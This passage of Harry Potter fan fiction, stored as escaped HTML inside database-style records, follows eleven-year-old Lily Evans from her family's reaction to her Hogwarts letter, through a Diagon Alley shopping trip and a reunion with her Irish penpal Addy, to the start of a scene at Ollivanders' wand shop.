\nresponse.&quot; Lily looked up at her parents. &quot;The only question now is. . . what is \nmy response going to be.&quot; \n<p></p>Petunia blanched. &quot;You don\'t mean that you\'re actually considering \nattending a place like that!&quot; \n<p></p>&quot;And why not?&quot; Lily said, gaining an odd acrimony at Petunia\'s tone of \nvoice. \n<p></p>&quot;Why not? Are you mad? Okay, so let\'s just say, for the sake of argument, \nthat you are one of them. It doesn\'t mean you have to go to one of their \nschools! You can still stay here and at least try to be normal!&quot; \n<p></p>&quot;Maybe being a witch is what is normal for me.&quot; \n<p></p>&quot;You\'d be a <i>freak</i>! What would I tell all my friends at school? \n\'Where\'s Lily, you ask? Oh, she\'s a witch, or didn\'t I tell you? And right now \nshe\'s off at school learning how to fly broomsticks.\' My social life would be \nover!&quot; \n<p></p>&quot;Fine attitude that is,&quot; Mrs. Evans scolded. &quot;Never a thought for anyone \nelse but you, is it Petunia! Lily, darling, I for one would stand behind you if \nyou should decide to attend.&quot; \n<p></p>&quot;As would I. Not everyday something like this happens, is it!&quot; Mr. Evans \nsmiled and winked at his daughter fondly. &#8220;We have a witch in the family. . .&#8221; \nhe came to her side and placed his arm around her supportively. &#8220;Isn&#8217;t it \nwonderful, Barbara?&#8221; \n<p></p>&quot;Am I the only one in this entire family who understands what\'s going on \nhere!&quot; \n<p></p>Lily turned her head from its comfortable snuggle in her fathers&#8217; shirt \nto find Petunia\'s face red and fuming, her eyes wide and wild with ferocity. \n&quot;Lily is a witch! How can you possibly be okay with this? How can you even look \nat her the same way!&quot; \n<p></p>&quot;Were the situation reversed I am certain you would be grateful for all \nthe support you could get from your family--&quot;\n<p></p>&quot;Were the situation reversed I wouldn\'t even consider attending such a \nplace and make every attempt at being normal!&quot; \n<p></p>&quot;As a father and mother we love our daughter, Petunia Evans! And as her \nsister, we would have expected a much different attitude on your behalf! We \nraised you better than this!&quot; \n<p></p>Harold Evans\' voice rarely rose above a shout. The fact that he was now \nbellowing frightened Petunia and she held her tongue immediately. \n<p></p>Lily was starting to feel ill: the floor seemed to be tilting sideways \nand there was a horrible queasiness consuming her stomach-- the sort that only \ncomes from extreme anxiety. And to call Lily Evans anxious at nine forty five on \nthe nineteenth of June 1970 was a gross understatement! \n<p></p>She made a break for the bathroom and didn\'t return until a good hour \nlater. When she walked back into the room she was painfully aware that the eyes \nnow looking upon her viewed her in a different light altogether than they had \nearlier that morning. \n<p></p>And it would always be so. \n<p></p>\n<p></p>\n'),
	(280, 3, ' <p></p>Chapter Two: New Beginnings <p></p>\n\n<p></p>Dear Sir or Madame: <p></p>I gladly accept your invitation to attend your school beginning 1 September. However, since none of my family has any experience with anything like this, we do not know where we might find the needed materials. Please send us a reply with further directions as soon as possible. <p></p>Thank you for your time. <p></p>Sincerely,<br>Lily Evans <p></p>The eight days that had passed since the bomb dropped over 13 Broadlands Close were surreal to say the least. Lily was caught between excitement and apprehension; delight and terror-- the news about what she was of course was most appealing (after all, what eleven year old doesn\'t wish they had powers?) but the fact it was<i> reality</i>? Well, that was too much for her to understand. <p></p>She stood before her bedroom mirror, looking into her reflection: long, violent red hair held firmly into place in a ponytail, enormous, glaring green eyes jumping out at her-- an unusual looking little girl. How could it possibly be that anything extraordinary could come from such a strange looking person? Why did this have to happen to <i>her</i> -- a girl whose only wish was to be normal? Why should she be the one to possess magical powers? How could ordinary little Lily Evans possibly make any good with it? <p></p>There was a light tapping at her door and her heart stopped-- was it Petunia? For the past week Petunia\'s usual sisterly tormenting had turned into something far more intolerable: the cold shoulder. Lily might as well not even have existed because Petunia did all she could to avoid acknowledging her. It was exactly what Lily <i>didn\'t</i> need: her own feelings of insecurity were only amplified by the fact she felt her own sister was disowning her. <p></p>But it wasn\'t Petunia who entered. Mrs. Evans crept inside slowly, the bearer of a bright, always hopeful smile-- as well as sugar biscuits and milk. &quot;Lily dear? You left your biscuits downstairs.&quot; <p></p>&quot;Not hungry, Mum,&quot; she said quietly as she folded her letter and began addressing the envelope. Mrs. Evans placed the milk and biscuits down on her daughter\'s desk and then leaned against it, folding her arms. <p></p>&quot;Finished your letter?&quot; <p></p>Lily nodded. The Owl that had first delivered the life-altering letter was still hanging about the house. He seemed quite delighted with all of the attention that the Evans (aside from Petunia) were showing to him, and hadn\'t left all week. He was currently taking up residence on Lily\'s windowsill and hooted happily as Lily carefully extended the finished letter to its beak. Seeming to understand Lily\'s apprehension, the Owl delicately retrieved the letter from her fingers and flapped its wings happily. Lily pushed open her window and, with a final hoot, the Owl rose up into the air and soared high out into the deep velvet night sky. <p></p>Together, they silently watched its figure wane into the horizon. There would be more letters. . . she was especially dreading the letter she had to send to Addy. How on earth was she to go about it? &quot;Dear Addy. You won\'t be hearing much from me for a bit, because I\'ll be starting on at a boarding school in Scotland. Love, Lily. p.s.: I\'m a witch, by the way.&quot; Oh how on earth was she supposed to tell her . . . <p></p>&quot;Lily?&quot; <p></p>Lily\'s tired eyes looked to her mother. They begged for help . . . or at least reassurance . . . <p></p>&quot;You\'re worried. You\'re wondering if you\'ve made the right decision.&quot; Barbara took Lily\'s hand in hers and squeezed it. &quot;It\'s a treacherous thing, you know. The heart. But the one thing that you can never accuse it of is lying. Your heart is your true inner person. No matter how you may try to <i>reason</i> with it, as we all try to do, whatever it\'s telling you over and over again, deep inside you, <i>that</i> is your answer.&quot; <p></p>Barbara was mere inches from her daughters face, her own bright green eyes perfectly reflected in the teary-ness her daughter\'s. &quot;But Mummy, what about what people will think--&quot; <p></p>&quot;Have you ever known me to care about what people think? Why should my daughter be any different?&quot; <p></p>&quot;B-But I know that you and Dad have always wanted your girls to go to University and get an education--&quot; <p></p>&quot;And you will!&quot; <p></p>&quot;But you\'ll be able to brag about Petunia to all your friends-- when you and dad play bridge and pinochle with the Masons\' and the Stanleys\'-- what could you <i>possibly</i> say about me to<i> them</i>?&quot; <p></p>&quot;The <i>truth</i>,&quot; said Barbara, holding Lily\'s chin up with her fingertips. &quot;That you are an exceptionally <i>special</i> young girl. That you are a <i>truly</i> a wonder. And most importantly. . . that we are<i> proud</i> of you.&quot; <p></p>The tears were coming now and Lily\'s words were shaking. &quot;I\'m s-scared, Mummy. I\'m s-scared of leaving y-you and dad and being alone for the entire year. . .&quot; <p></p>Mrs. Evans enveloped the shaking girl in her arms and kissed her warm forehead. &quot;How many times do I have to tell you? When you have people who love you, you are never alone. Remember that, won\'t you?&quot; <p></p>Lily nodded. <p></p>&quot;Now dry your eyes like a good girl.&quot; <p></p>Lily wiped her eyes and steadied her breathing. Barbara stood back up, still smiling, and walked towards the door. She paused and turned around slowly, &quot;I\'m actually quite excited, you know. Perhaps you could even, er, help me out with my garden once you get the hang of things. That Mrs. Mason thinks her garden is just so wonderful,&quot; she winked. &quot;I\'ve always said that my garden needed a bit of magic.&quot; <p></p>She left, slowly closing the door behind her and for the first time in a week, Lily smiled. Genuinely. She looked down at her watch: 10:32 p.m. <i>Hmm. I wonder how long it takes to get a reply by Owl . . .</i>\n\n<p></p>As it turns out, not long at all. Her reply arrived within the week on the eve of Lily\'s eleventh birthday: <p></p>Dear Miss Evans: <p></p>We understand your concern and answer several letters of this nature every year. In the event that the student is of Muggle (non-magic people) parentage, Hogwarts has a prepared letter to instruct the student in how to go about preparing for their journey. Attached is your copy and we hope that it will answer all questions you may have. If you need any further assistance, please notify us and we shall try our best to assist you. <p></p>Regards,<br>Minerva McGonagall <br><i>Deputy Headmistress</i><br>Lily curled up on the Sofa and eagerly poured over the words. Her mum and dad joined her not too long after and asked for her to read the letter over again, out loud, so they could hear as well. <p></p>Dear Student: <p></p>This letter is in response to your recent query. The discovery of your magical heritage can be quite an overwhelming experience when you have spent your life in a typical Muggle (non-magical) environment. However, this letter has been prepared to help answer any questions that you have as a student, and that your parents may have as the concerned guardians they no doubt are. <p></p><b>History and Mission Statement</b><br>You will be attending the only all wizarding institution in the whole of Britain, and one of the most prestigious such establishments in the world. Hogwarts School of Witchcraft and Wizardry is located in the picturesque hills of Northern Scotland and was established in the year 1015 by the four greatest wizards of that time. Their names were Godric Gryffindor, Helga Hufflepuff, Rowena Ravenclaw and Salazar Slytherin, and it was their desire to seek out children who showed signs magical ability, to take them in and to provide them with the best possible training in the magical arts. Upon arrival, students are sorted into one of the four Hogwarts Houses, named after the four founders, which will be their home for the duration of their stay with us. <p></p><b>Rules</b><br>As an establishment that has been around for nearly one thousand years, we have many strictly enforced rules at the campus. Students are not allowed out of their dorms after hours for several reasons-- no exceptions to this rule under any circumstances. Students are required to refrain from using magic not only in the hallways, but also on their summer holidays at home (as instituted by Ministry of Magic\'s <i>Decree for Underage Wizardry, sec 214.a</i>). The students will be given a Hogwarts code of conduct book upon their arrival and are expected to adhere to them strictly. Rule breaking results in the students loosing points for their respective houses, as well as the possibility of detention, suspension, and in some cases, expulsion from Hogwarts. <p></p><b>Materials</b><br>For First Year students of Muggle parentage, the task of purchasing school equipment may at first seem quite difficult. Of course, if you, as a parent, wish to pursue your own search of these items, you are of course free to do so. However, the easiest method of obtaining these essential items, is to visit the all-wizarding High street in the heart of London: Diagon Alley. Diagon Alley is located just after the major intersection of Charing Cross Road and St. Giles High Street. At number 136 Charing Cross Road (directly located after the large Muggle book shop &#8220;Foyles&#8221;) you will find a pub called &quot;The Leaky Cauldron.&quot; Enter this pub and proceed straight to the back for this is the entrance to the alley. (It is recommended to have either the resident bartender assist you with entrance, or any of the patrons. They are quite used to Muggles needing help and will be only too happy to assist you in this regard.) <u>IMPORTANT NOTE FOR PARENTS</u>: Muggle money is NOT accepted in the wizarding world. Might we recommend your first stop in Diagon Alley be at the Wizards Bank, Gringotts, to exchange your notes for wizarding money to purchase the needed materials. (Gringotts bank is located in the center of Diagon Alley). <p></p><b>Holidays</b><br>Students are given the option of returning home for the two major holidays of the school year. A two-week recess is given for Christmas from 20 December through 5 January, and a one-week Spring recess is given from 30 March through 5 April. If students do not wish to return home for the holidays, then they are allowed to remain on Hogwarts grounds. <p></p><b>The Hogwarts Express</b><br>All students depart for Hogwarts aboard our Hogwarts Express. It departs on 1 September <b>at precisely eleven a.m</b>. from King\'s Cross Station in London. <i>Please ensure an early arrival on this date as it is usually a very busy time of year at the station. </i>Your ticket will arrive by Owl Post one week prior to departure and <i>all students must present their ticket </i>in order to board the train. You will find the Hogwarts Express at Platform 9 3/4. For Muggle parents all goodbyes must be made prior to the student\'s entrance to the Platform as Muggles are not permitted through the entrance, which appears as a barrier between platforms nine and ten. <p></p>We hope this letter has answered the many questions you no doubt have regarding your child\'s future at our institution. The safety of all children is our primary concern, and Hogwarts is arguably <i>the</i> safest fortress in our world. Our teachers are renowned in their respective fields and provide a highly effective, award-winning curriculum. Hogwarts has an impressive success rate: 94% of our graduates continue on in the fields of their choice with notable success. But above all, Hogwarts is viewed as a home away from home more than a school. It is our job to make your child feel as welcome and as comfortable as possible and we are most excited to have them with us this year and look forward to meeting them! <p></p>Best wishes from the Hogwarts School of Witchcraft and Wizardry faculty, and good luck to the prospective first year student! <p></p>Albus Dumbledore<br><i>Hogwarts Headmaster</i>\n\n<p></p>\n\n<p></p>*** <p></p>Of course, Petunia was not interested in coming along with the family on their journey up to London. Lily had celebrated her eleventh birthday the day before, which consisted of a quiet dinner at home and with her parents, Petunia, Edmund and his sister Lilian. The dinner provided Petunia with the perfect excuse to not go down to London the next day: apparently she\'d come down with an unbearable stomachache. But everyone knew the real reason. The idea of mingling with people of Lily\'s sort revolted her. Mr and Mrs. Evans, however, appeared more excited over the adventure than even Lily! <p></p>The hour and a half drive wasn\'t an easy one-- the Motorway was at an absolute standstill (Mr. Evans always called the M1 the world\'s biggest parking lot), and once they made it into the city, it was no less frustrating. <p></p>&quot;It\'s beyond me how people can tolerate <i>living</i> here,&quot; he muttered as he finally managed a way off the motorway, only to be met with the Monday morning stop and go traffic that so defined west London. The rather nondescript suburbs of cluttered newsagents and chip shops did eventually begin to morph into something that even Mr. Evans couldn\'t moan about. <p></p>There were rows upon rows of grand Victorian and Georgian homes nestled beneath luscious leafy trees that hid them from the insane traffic and bustles of people. Flowers bloomed in every spot imaginable-- hanging baskets over store windows, sprawling out and hanging down residential windows. Even the noisy beeps of those monstrous red double-decker buses somehow sounded less angry here. <p></p>&quot;Mmmm, Bloomsbury,&quot; said Mrs. Evans softly. &quot;I always used to want to live here.&quot; <p></p>&quot;Not if you see the price tag,&quot; said Mr. Evans gruffly. <p></p>&quot;Oh Harold, let\'s stop here! It\'s simply too lovely to pass up! We can walk--&quot; <p></p>&quot;<i>Walk</i>?&quot; <p></p>&quot;Yes Harold, walk. That rather revolutionary new concept which involves placing one foot in front of the other.&quot; <p></p>Mr. Evans gruffly slid into a miraculously vacant spot on the side of the road next to Russell Square. They piled out of the car, Lily stretching happily, squinting up at the bright blue sky. (It had been threatening rain when they\'d left Rochester). Lily was in her element-- it was her birthday, after all, and so far it was turning out quite promising! <p></p>&quot;Right, we\'ve a bit of a walk, but the directions are pretty self-explanatory. Doesn\'t sound like we can miss it.&quot; The three strolled quietly beneath the soft rustles of the ancient trees canopying them and turned onto Charing Cross Road, lost in admiring the great variety of shops, enormous edifices and stately buildings. Mrs. Evans had to control herself as they passed the National galleries and the vibrant Trafalgar Square. (Harold scolded her for being worse than a &quot;bloomin\' tourist&quot; and Barbara scolded him in return for actually resurrecting the word &quot;bloomin\'&quot; and so on and so forth, as was their habit!) <p></p>&quot;Oh <i>look</i>, Harold!&quot; Mrs. Evans\' eyes was oohing over a window, &quot;<i>Foyles</i>! How lovely it&#8217;s looking!&quot; <p></p>&quot;I wonder if the new Agatha Christie novel is in yet . . .&quot; <p></p>But Lily hadn\'t noticed the bright red letters of the bookstore or its handsome window display. Her eye was upon a man walking towards them, dressed most peculiarly in a long, scholarly black robe had hair that climbed down his back. He went unnoticed by the focused business crowd and slipped silently in behind a door that Lily had not even noticed just a moment ago: a door thick and blackened by time-- something no ordinary eye could possibly have spotted. <p></p>&quot;That\'s it,&quot; said Lily, tugging at her mothers\' sleeve. &quot;That\'s the pub the letter talked about-- the Leaky Cauldron.&quot; <p></p>&quot;Where? I don\'t see anything--&quot; <p></p>&quot;Here,&quot; said Lily eagerly, approaching the foreboding door, twisting its knob. <p></p>&quot;Oh. . .&quot; began Mr. Evans, &quot;Right . . . er . . . b-best s-stay close, now.&quot; <p></p>The family stepped into the warm confines of the pub, Lily&#8217;s stomach churning in excitement. The man she\'d followed was now sitting at the bar-- a simple bar made of dark mahogany. In fact, the entire pub itself was dark, filled with thick cigar smoke and the gentle hum of conversation. Conversation, one should add, that was made by people who took Lily completely by surprise: they were of every height and color and nationality, dressed in long draping robes from every corner of the spectrum, a great majority (the women at least) donning matching long pointed hats. <p></p>A shudder tore through Lily-- not out of fear, but rather, disbelief. <i>This is the real thing. </i>\n\n<p></p>Mr. Evans cleared his throat and took Lily\'s hand in his-- it was cold and clammy. &quot;Right. L-lovely place, isn\'t it Barbara?&quot; He sounded like he was trying to convince himself. &quot;Right then . . . lets get you started, shall we?&quot; <p></p>The pub goers stared at the newcomers briefly and, unimpressed, went back to their pints and conversation. That eased Lily a bit-- it was as though they were used to such foreign intrusions. <p></p>They inched forward and the bartender, who looked very much like an ordinary bartender, appeared. &quot;Help you?&quot; <p></p>&quot;Y-yes,&quot; said Harold, &quot;where might we find the entrance to . . . Diagram Alley?&quot; <p></p>They bartender chuckled. &quot;That\'s <i>Di-a-gon</i> Alley. And you can find it right through those doors out back. At the brick wall tap the combination three up two across . . . Sure you don\'t fancy a pint?&quot; <p></p>&quot;Oh no, but we\'re ever so grateful. Cheers!&quot; <p></p>&quot;Cheers.&quot; <p></p>They filed out through the back of the pub together, finding themselves met by a high brick wall. Lily scanned the wall. . . <i>three up two across . . . which one is the right brick? Which one . . . </i>\n\n<p></p>But none of them had to worry about it too much. The door from the pub creaked open and out stepped the same man who Lily had followed into the pub. He paused upon sight of them and raised his brow. Lily stirred uneasily underneath his intense gaze and then, to her surprise, he let out a smile that at once softened his harsh and haggard appearance. <p></p>&quot;Don\'t worry, it took me years before I was able to remember the right combination.&quot; <p></p>With a flurry of movement he was at the wall and seemed to merely wave his hands across the bricks. The ground beneath Lily&#8217;s feet rumbled slightly and she unwittingly grabbed hold of her father\'s hand that squeezed it supportively. The Evans gasped as the wall slid open to reveal to them something only possible in storybooks. <p></p>The winding cobblestone street itself wasn\'t so extraordinary, it was what <i>occupied</i> that pebbled road that made Lily\'s head spin with disbelief. It was unlike any High Street she\'d ever seen in her life: the shops were huddled together, some looking like they were standing on top of the other (somehow that didn\'t strike Lily as an impossibility), some of them lopsided, most of them oddly shaped, and all of them selling goods that Lily had never imagined even existed. Her eyes were moving too quickly from shop window to shop window, but Lily was almost certain that some of the signs were reading things like <i>Sale Today Only: Shooting Star Racing Brooms 10% Off! </i>And she could have sworn another sign read <i>Floo Powder-- 25 Sickels an ounce!</i>\n\n<p></p>&quot;Before you do anything, you\'ll need to stop off at Gringotts.&quot; <p></p>The man was still with them, visibly amused at their state of awe. Mr. Evans was somehow able to respond somewhat coherently. &quot;Gr-gringotts?&quot; <p></p>&quot;Yes, the Wizards Bank. You\'ll have to change your Muggle money. It\'s right there down the road, see it? Tallest building in the Alley. Then might I suggest making your first stop at Ollivanders for your wand.&quot; He bowed somewhat graciously, ready to make his leave. &quot;Oh, and don\'t let those Gringotts Goblins scare you any. They\'re just doing their job. Good day.&quot; He bowed again and, with swish of his robes, began to make his way through the hemming crowds. <p></p>Lily gulped. <i>GOBLINS?!?</i>\n\n<p></p>The Evans, still at a loss for words, started their journey as well. Lily tried her best not to stare at the strange looking women in their long, brightly colored pointed hats or the men in elegant robes, finely embroidered. She tried not act surprised when they passed something called &quot;Eyelops Owl Emporium&quot; with its dozens upon dozens of proudly perched owls, nor did she want to betray her nervousness as they approached that towering building of gleaming white with enormous, shiny brass doors. <p></p>&quot;Gringotts,&quot; Lily whispered as they approached the doors. It seemed to open by itself, but the stifled cry from Mrs. Evans made Lily look down. A tiny man with a fat face, abnormally pointy nose and ears, and long fingers with equally as long fingernails, had opened the door for them. A <i>Goblin</i>. The lobby stretched on into what must have been infinity, the ceiling rising just as high, and Lily felt like she was going to faint: not from fear, but from unbearable excitement! <p></p>Her Mother, however, looked like she was going to faint from fear, and she had latched herself onto Harold\'s arm. Harold was doing an admirable job of remaining composed, but the fact that he kept unbuttoning and re-buttoning his shirt collar gave his anxiety away. <p></p>They reached a teller window at the far end of the massive black and white marble-floored lobby that read &quot;MUGGLE EXCHANGE POINT&quot;. They were the only ones in the queue, which made Lily confused as to why the teller (also a Goblin) looked so annoyed when they approached him--as though he was too busy to deal with it. <p></p>He listened with stunning lack of interest as Mr. Evans explained to him their situation (&quot;We\'re new at this,&quot; &quot;we need some money changed,&quot; &quot;what\'s your exchange rate,&quot; etc.,) He answered the questions dutifully, making no secret his distaste for having been bothered, and looked downright appalled at Harold\'s reaction to the news that one Wizarding &quot;Galleon&quot; was the equivalent of Two British pounds! Harold was a penny-pinching tightwad if there ever was one, and when he handed over two hundred hard earned pounds, and received One Hundred Five Galleons, you can bet he let the Goblin know how he felt. <p></p>The Goblin didn\'t seem to care and continued in his duties. &quot;Before you leave, I am required to let you know that it is highly recommended all first years open a Gringotts Platinum Savings account. Starting their first term, a specified amount is deposited into their account and every year dividends are earned and interest accrued and, of course, as the legal guardian, you may deposit as much into the account as you please throughout the course of the year, at all times maintaining a minimum balance of 300 Galleons.&quot; <p></p>&quot;Three hundred Galleons? That\'s . . . what, <i>five hundred</i> pounds?&quot; <p></p>&quot;Four hundred eighty, Sir.&quot; <p></p>Mr. Evans whistled. &quot;Er . . . sorry, but I can\'t. Sorry, Lily.&quot; <p></p>&quot;Of course,&quot; added the Goblin quickly, sensing he was about to loose a customer, &quot;there <i>is</i> the Bronze Account. No minimum balance and only ten Galleons to open.&quot; <p></p>Twenty minutes and two hundred and ten pounds poorer, they left the bank. Harold was shaking his head as they left. &quot;Only thirty minutes here and they\'re already getting a tenth of my worth until the day I die. I guess capitalism transcends universes.&quot; <p></p>&quot;<i>Really</i>, Harold.&quot; <p></p>&quot;Well Lily? What\'s first on the list?&quot; <p></p>Lily surveyed her letter. &quot;Er. . . textbooks, I suppose.&quot; Her pace slowed and she found herself standing below a frilly sign proclaiming: FLOURISH AND BLOTTS -- FINE BOOKSELLERS. The bookshop was warm when they entered and smelled of a strange mix of incense and chocolate. The clutter of the shop was its appeal-- subjects were arranged in no order whatsoever and sometimes there weren\'t even shelves to accommodate the books, only towering stacks of books that looked like magic was the only thing keeping them from toppling over. <p></p>&quot;Excuse me?&quot; <p></p>Lily spun around at the sound of the timid voice coming from behind her. She came face to face with a girl, obviously the same age as her, with long brown hair that hung lank and unimpressive around an apprehensive looking face. <p></p>&quot;Yeah?&quot; <p></p>&quot;You don\'t know where the botany section is, do you?&quot; <p></p>Lily shrugged. &quot;Sorry. I&#8217;m lost too-- never been here before.&quot; <p></p>The girl seemed encouraged by that and she smiled. Suddenly that brown hair didn&#8217;t seem so unimpressive--her smiling hazel eyes lit up her entire face. &#8220;O, MaryandJoseph, I\'m glad I&#8217;m not the only one! Everyone else seems to know exactly where to go!&quot; <p></p>Lily nodded. &quot;I know! And I hate having to always ask for help-- I feel like such a prat.&quot; <p></p>&quot;Me too!&quot; The girl tucked the book she was carrying under her arm and extended her hand, &quot;I&#8217;m Adelaide, by the way. But most people just call me Addy.&#8221; <p></p>Lily blinked. &#8220;Addy?&#8221; <p></p>&#8220;Yeah, that&#8217;s right.&#8221; <p></p>Her Irish accent was now quite obvious, and Lily was trying her best to remain calm. &#8220;You\'re not . . . from Howthe by any chance. . .&#8221; <p></p>&#8220;Y-yes. . .&#8221; <p></p>Lily\'s heard was racing, &#8220;And. . . you said your last name was <i>Wyndham</i>?&quot; <p></p>&quot;Right . . .&quot; <p></p>Lily\'s heart nearly leapt out of her throat. &quot;Addy! It&#8217;s <i>me</i>! Lily <i>Evans</i>! Your <i>penpal</i>!&#8221; <p></p>Adelaide&#8217;s eyes grew wide, and for a moment they were both quite speechless. And then, without any warning, the squealing erupted like a mass volcanic explosion! Lily dropped her books to the floor and enveloped her friend tightly, and Addy was doing an equally good job of nearly squeezing the breath out Lily! <p></p>&#8220;I can&#8217;t <i>believe</i> this,&#8221; said Addy, her words fluttering at a million miles per minute, &#8220;You\'re one too! Brilliant! This is absolutely <i>brilliant</i>! Oh, you don&#8217;t look like anything like those photos you sent! I can&#8217;t believe I&#8217;m really <i>meeting</i> you! And <i>here</i> of all places! Oh! When did you get your letter-&#8220; <p></p>Lily had to cut her off to get a word in. &#8220;Only two weeks ago. You?&#8221; <p></p>&#8220;Same here!&quot; <p></p>&#8220;At least now I know one person around here!&#8221; <p></p>&quot;And it was your <i>birthday</i> yesterday,&quot; said Adelaide, absolutely seething with excitement. &quot;Happy <i>birthday</i>!&quot; She embraced her again. &quot;I was going to wait to break the news to you about my being a witch until <i>after</i> your birthday, but . . . now I guess I don&#8217;t have to!&#8221; <p></p>&quot;Oh Addy, this is the best birthday present I could have possibly been given!&quot; She spun around, scouring the shop for her parents whom she spotted a few aisles over. &#8220;Mum! Dad!&#8221; Grabbing hold of Addy&#8217;s arm, she flew towards her parents, where Mr. Evans who was holding a thick book entitled <i>Deadly Beasts and Where to Find Them-- </i>he looked properly horrified. <p></p>&#8220;Lily dear, did you know that the photographs actually <i>move</i>. . .&#8221; <p></p>&#8220;Dad! This is Addy!&#8221; <p></p>Harold glanced up from the book and eyed the girl in front of him. &#8220;I&#8217;m sorry?&#8221; <p></p>&#8220;<i>Adelaide Wyndham</i>! My penpal from Ireland! She&#8217;s one too!&#8221; <p></p>Barbara popped up from around the corner, her face beaming. &#8220;You&#8217;re <i>joking</i>! How fantastic!&#8221; <p></p>The two girls were giggling, arms now linked through the others. &#8220;Addy, these are my parents-&#8220; <p></p>&#8220;Nice to finally meet you,&#8221; said Mr. Evans cordially, shaking Addy&#8217;s hand and Barbara quickly followed suit. <p></p>&#8220;You have to meet mine as well,&#8221; said Addy. &#8220;They&#8217;re outside waiting for me. I think they&#8217;re having difficulty . . . er . . . <i>adjusting</i>, you know?&#8221; <p></p>Mrs. Evans nodded vigorously. &#8220;Indeed! I should love to meet your parents, Addy.&#8221; <p></p>Lily rushed to the register to pay for her eight textbooks. Addy led them back outside Flourish and Blotts to a middle-aged man and woman outside the front window display-- the look on their faces proving they <i>felt </i>every bit as out of place as they<i> looked</i>. The Evans and the Wyndhams got on immediately with each other (the fact that they were the only Muggles for miles surely had something to do with it) and they kept each other company as Lily and Addy progressively worked off their checklist. <p></p>&quot;Right then,&quot; said Lily, &quot;we\'ve got textbooks, robes, cauldron, vials, scales, telescope, wand-- oh! Wait! I haven\'t a wand!&quot; <p></p>Adelaide was greedily finishing a chocolate ice cream cone, so her speech was muffled as she spoke with her mouth full, &quot;What? You crazy? A wand was the first thing I bought!&quot; She tossed the remnants of her sugar cone into a rubbish bin and led Lily off towards the opposite end of the alley. <p></p>The name of the shop was Ollivanders and it lay quiet and unassuming between several other much more appealing establishments, but the moment Lily stepped foot inside, she was at once keenly aware that this shop was nothing like the others she had been to. Here, she could feel the magic around her-- a sensation she\'d never felt before, and it filled her with a delicious surge of excitement. <p></p>Ollivanders was small, dark and smelled of endless centuries. Behind the tall front desk, the store stretched into the back, concealed by shadows, and indeed, the entrance foyer itself was only lit by a few soothing, flickering hanging candles. (Candles hanging upon nothing, of course) There was a rustling noise from deep within the shadowy unknowns of the shop, and then a gaunt, willowy figure emerged from it: he held no smile, his expression betrayed no emotion and he sized up his customers for quite a while before saying anything. But when he did speak, Lily was at once put at ease: his appearance may have been unnerving, but the warmth in his voice was just as soothing as the candlelight around her. <p></p>&#8220;Ahh, Miss Wyndham: the mahogany and bluebird feather! First one I&#8217;ve sold in many a decade. To what pleasure to I owe your swift return?&#8221; <p></p>Adelaide pushed Lily forward. &#8220;I-I need a wand, Sir.&#8221; <p></p>The man drummed his fingers on the table. &#8220;You don&#8217;t say.&#8221; <p></p><i>Right. That * was * a stupid thing to say . . . </i>\n\n<p></p>He stepped out from behind the desk and stepped towards Lily who fought the initial urge to step back as well. He stood over her, contemplatively as well. &#8220;You are new to the wizarding world just as your friend is, are you not?&#8221; <p></p>Lily nodded. <p></p>&#8220;Nervous?&#8221; <p></p>She nodded again. <p></p>&#8220;Well, don&#8217;t worry. . .&#8221; he bent down until his wrinkled, drawn face was inches from hers, &#8220;this is only the most important purchase you will ever make in your entire life.&#8221; <p></p>Lily held her breath and then-- to her relief-- he winked at her. &quot;You said your name was?&quot; <p></p>&quot;Lily. Evans.&quot; <p></p>He straightened his stance and went back to the front desk. &#8220;This way, Miss Evans. You know, of course, that it\'s not you who really chooses the wand. It\'s the wand that chooses you. If you&#8217;ll just step this way-&#8220; <p></p>His words were cut off by the loud swish of the shop door opening and then banging back shut just as forcefully. A tall woman with platinum blonde hair swept up and pinned tightly was standing imperiously, her arms folded, face scowling. <p></p>&#8220;Oh, Mr. Ollivander! You will never guess what the girl has done! Oh come child, do not hide behind me-step out and show Mr. Ollivander what you&#8217;ve done!&#8221; <p></p>A girl stepped out from behind the woman-a perfect mirror of her, only two feet shorter. She was scowling as well and holding a black wand, which was snapped in half. &#8220;Mum, I didn&#8217;t do it! You-&#8220; <p></p>The mother waved her hand at her daughter&#8217;s face, &#8220;Silence! You&#8217;ll not speak while I&#8217;m speaking to Mr. Ollivander!&#8221; She approached the desk, practically pushing Lily and Adelaide out of her way. <p></p>Mr. Ollivander didn&#8217;t look entirely pleased with his new company. &#8220;10 inches. Walnut wood. I. . . only just sold her the wand this morning.&#8221; <p></p>&#8220;I know!&#8221; said the woman, whose thick Scandinavian accent was now quite audible, &#8220;And look what she&#8217;s done to it! Of course, she&#8217;ll need another one immediately&#8230;&#8221; <p></p>&#8220;Of course, just as soon as I&#8217;ve finished with my current cust-&#8220; <p></p>&#8220;&#8230; preferably the same sort! Or the best money can buy-I&#8217;m not picky about it. Only a wand, after all.&#8221; <p></p>Mr. Ollivander tensed, and his fingers began drumming on the counter rapidly. &#8220;Well, if it&#8217;s only a wand, Mrs. Holstrom, it won&#8217;t bother you to wait while I tend to my customers.&#8221; <p></p>&#8220;Oh come now, Mr. Ollivander, it won&#8217;t take but a moment. My time is valuable and Narcissa here has an appointment later this afternoon so, if you would please just fetch another of the same.&#8221; <p></p>Mr. Ollivander&#8217;s irritation was mounting. &#8220;No two wands are exactly the same-&#8220; <p></p>&#8220;Yes, yes, of course, now if you please, we are in a rush.&#8221; <p></p>Mr. Ollivander bowed graciously to Lily. &#8220;Excuse me, Miss Evans.&#8221; He disappeared into the back, leaving the girls alone with Mrs. Holstrom and her sour-faced daughter. <p></p>Only the tick of the clock could be heard in the uneasy silence. Addy cleared her throat, &quot;Well! So . . . you\'re starting on at Hogwarts as well, eh?&quot; <p></p>The Holstroms didn\'t answer. <p></p>&#8220;Tough luck about your wand,&#8221; Addy pursued, looking sadly at the broken wand, &#8220;and to have it broken on the <i>same day </i>you bought it!&#8221; <p></p>Mrs. Holstrom groaned and rolled her eyes. &#8220;I shall never understand the Irish preoccupation with luck.&#8221; <p></p>Adelaide&#8217;s mouth fell, surprised that such a friendly gesture had been so rudely dismissed. <p></p>&#8220;Well, I only meant that-&#8220; <p></p>&#8220;I know what you meant, and I assure you that it is none of your affair.&#8221; <p></p>The mother and daughter both were staring down Adelaide and Lily -- the daughter with an especially cold chill to her already icy blue eyes, just<i> daring </i>her to say something back. Lily had to muster all her strength to restrain herself: it probably wouldn\'t have been wise to start anything with her--this mother was, after all, a full-grown Sorceress. And Lily was little more than a Muggle. <p></p>Mr. Ollivander reappeared holding out a wand that was a boring brown color. &#8220;Try this on for size: 10 inches, Walnut wood and Jarvey hair.&#8221; <p></p>Mrs. Holstrom whisked the wand out of Mr. Ollivander&#8217;s hand before Narcissa had a chance to touch it, and then dug into 